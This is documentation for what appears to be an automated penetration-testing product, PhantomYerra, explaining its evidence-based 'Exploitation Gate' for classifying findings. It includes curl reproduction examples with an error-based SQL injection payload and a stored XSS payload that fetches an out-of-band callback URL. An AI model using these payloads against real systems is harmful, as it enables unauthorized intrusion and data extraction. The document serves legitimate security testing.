No Exploit, No Report
PhantomYerra's Exploitation Gate eliminates false positives at the source. If a vulnerability cannot be proven with working exploit code and real evidence, it is never escalated to a confirmed finding.
What Is the Exploitation Gate?
Traditional scanners report every potential issue they detect - open ports, version banners, configuration patterns that might be vulnerable. This floods security teams with noise. A typical DAST scanner can generate hundreds of "findings" per scan, where 60-80% require manual validation before any action can be taken.
PhantomYerra's Exploitation Gate is a mandatory verification layer. Before any vulnerability is classified as EXPLOITED, PhantomYerra must produce at least one of the following forms of evidence:
Accepted Evidence Types
- Raw HTTP request + response showing exploitation (extracted data, error disclosure, session takeover)
- Extracted payload execution output (SQL query result, RCE command output, SSRF callback receipt)
- Screenshot of exploitation result (rendered in in-app screenshot gallery)
- OOB (out-of-band) callback confirmation from Burp Collaborator or PhantomYerra's OOB server
- Authentication bypass: successful access to protected resource with proof of unauthorized identity
- Privilege escalation: proof of accessing resource belonging to another user/role
Finding Classifications
Every finding in PhantomYerra carries one of three classifications. The Exploitation Gate determines which classification a finding receives.
PhantomYerra produced working exploit code and collected real evidence. This finding is 100% real. It includes: the exact exploit payload, raw HTTP traffic, extracted data, and copy-paste PoC steps. These go directly into your report with full evidence appendix.
PhantomYerra detected indicators consistent with a vulnerability but was unable to produce working exploit evidence automatically. This may be due to WAF blocking, rate limiting, complex multi-step exploits, or application-specific business logic. A human pentester should verify these manually.
PhantomYerra attempted exploitation and confirmed the behavior is not exploitable, or a human reviewer dismissed the finding with a reason. These are hidden from the default report view but preserved in the audit trail.
Step-by-Step Guide
Viewing Findings by Classification
Open the Findings Panel
After a scan completes, navigate to the Findings tab in your scan workspace. The findings list shows all issues grouped by severity (Critical → High → Medium → Low → Informational).
Filter by Classification
Use the classification filter buttons at the top of the findings panel. Click EXPLOITED to see only confirmed findings, or POTENTIAL to review what needs manual verification.
Open the Finding Drawer
Click any finding row to open the detail drawer. The drawer has three tabs: Details (full description, severity, CVSS), Evidence (HTTP traffic, screenshots, extracted data), and Replay Lab (re-run the exploit against live target).
Manually Escalating POTENTIAL to EXPLOITED
When you manually confirm a POTENTIAL finding, you must provide evidence before PhantomYerra will escalate it.
Open the Finding and click "Escalate"
In the Finding Drawer, click the Escalate to Exploited button in the Details tab. This opens the escalation form.
Provide Evidence
Paste your raw HTTP request/response, upload a screenshot, or paste command output. At least one evidence form is required. PhantomYerra will not escalate without proof.
Add Reproduction Steps
Write the exact steps (or paste a curl command) that reproduces the vulnerability. This is included verbatim in the final report.
Reproducing Each Finding Type
SQL Injection - Reproduction Example
# PhantomYerra confirms SQL injection with extracted data
# Evidence: table name dump via error-based extraction
curl -X POST "https://target.example.com/api/users/search" \
-H "Content-Type: application/json" \
-d '{"query": "1'"'"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1)))-- -"}'
# Expected: HTTP 500 with MySQL error containing table name
# Actual response (from Evidence tab):
# XPATH syntax error: '~users'
XSS - Reproduction Example
# Stored XSS confirmed via DOM execution
# Evidence: JavaScript alert executed in PhantomYerra's headless browser
curl -X POST "https://target.example.com/api/comments" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"content": "<img src=x onerror=fetch('"'"'https://oob.phantomyerra.io/cb?id=abc123'"'"')>"}'
# OOB callback received: oob.phantomyerra.io confirmed execution
# Callback log in Evidence tab shows: timestamp, source IP, payload ID
Comparison: Old Approach vs PhantomYerra
| Dimension | Traditional Scanners | PhantomYerra (Exploitation Gate) |
|---|---|---|
| Findings reported | Everything detected - potential and confirmed mixed | Only EXPLOITED findings in main report; POTENTIAL clearly separated |
| False positive rate | 60-80%: requires hours of manual triaging | Near-zero for EXPLOITED class - evidence mandatory |
| Evidence provided | Plugin output text, version numbers | Raw HTTP, screenshots, extracted data, OOB callbacks |
| Reproducibility | Often unclear - "plugin detected a pattern" | Copy-paste curl commands for every finding |
| Client trust | Low - clients question every finding | High - clients see proof, not assertions |
| Triage time | Days of manual validation | Minutes: EXPLOITED = already proven |
| Report quality | Hundreds of findings, mostly noise | Focused: only proven vulnerabilities with full attack chains |
Informational Findings - Attack Surface, Not Noise
Important: Informational findings are never dismissed. In PhantomYerra's methodology, informational findings represent attack surface - they are inputs to attack chain analysis. An open port + service version + CVE correlation can become a Critical EXPLOITED chain.